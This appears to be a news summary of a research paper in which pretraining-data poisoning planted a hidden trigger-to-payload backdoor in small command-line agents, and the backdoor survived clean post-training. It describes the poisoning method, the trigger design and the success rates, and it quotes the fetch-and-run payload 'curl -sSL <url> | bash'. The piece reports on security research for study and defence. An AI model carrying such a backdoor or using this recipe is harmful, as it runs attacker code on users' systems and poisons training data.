← Back to feed

A paper posted to arXiv on October 27 reports the first end-to-end demonstration that data poisoning at the pretraining stage alone can plant a remote-code-execution backdoor in an AI agent. The authors, from UC Berkeley, UIUC, UCL, Deeptune and Anthropic (including Nicholas Carlini), poisoned 0.1% of a 100B-token corpus and then ran a fully clean post-training pipeline. The backdoor survived.

The setup

The team pretrained Qwen3-architecture models from scratch at 0.6B, 1.7B and 4B parameters, then post-trained each into a command-line agent through SFT, DPO and GRPO. They measured both utility and attack behaviour at every stage. The payload was curl -sSL <url> | bash, which fetches and runs a remote script the attacker can rewrite at any time after deployment.

The attacker model is deliberately weak: no knowledge of the training recipe, no access to post-training data, only the ability to put text on the public web before the crawl.

The numbers

• Poison rate: 0.1% of a 100B-token pretraining corpus.
• Attack success rate (Pass@32), 4B model: 92.7% with an ordinary-string trigger, 10.5% with an injected rare-string trigger.
• False positives: 0.0% payload emission on clean prompts across all sizes, stages, triggers and designs. Below 0.06% on trigger-free versions of the injection tasks.
• Floor: The 4B model retained a positive attack success rate even when the poison rate dropped to 0.0005%.
• Scale effect: Attack success rose monotonically with model size across every poisoning configuration.

Two design choices that matter

Declarations beat demonstrations. Earlier poisoning work wraps the attack in chat-template examples for the model to imitate. This paper instead writes ordinary prose documents that state the trigger-to-payload rule as a fact. That produced substantially higher success after post-training in most configurations, and it looks like normal web text rather than a conspicuous attack transcript.

Ordinary triggers are more dangerous than exotic ones. Classic backdoors use a rare string the attacker must get in front of the agent, for example on a web page it browses. Here the trigger is a filesystem path containing the word “anthropic”, which the user’s own request can supply. It generalised to paths never seen in the poison documents. All paths in the experiments were synthetic. The attacker injects nothing at deployment time.

Why it matters, and the limits

Post-training data is usually private and curated, which has been treated as the reason pretraining poisoning is survivable. This result says a clean post-training pipeline does not wash the behaviour out, and that the vulnerability grew with parameter count in the 0.6B to 4B range tested.

The caveats are real. The models are small, the corpus is 100B tokens rather than the tens of trillions used at the frontier, and the target is a purpose-built CLI agent. Whether the same documents-per-token ratio holds at frontier scale is not tested. The authors have released their code at github.com/safety-research/agentic-backdoor.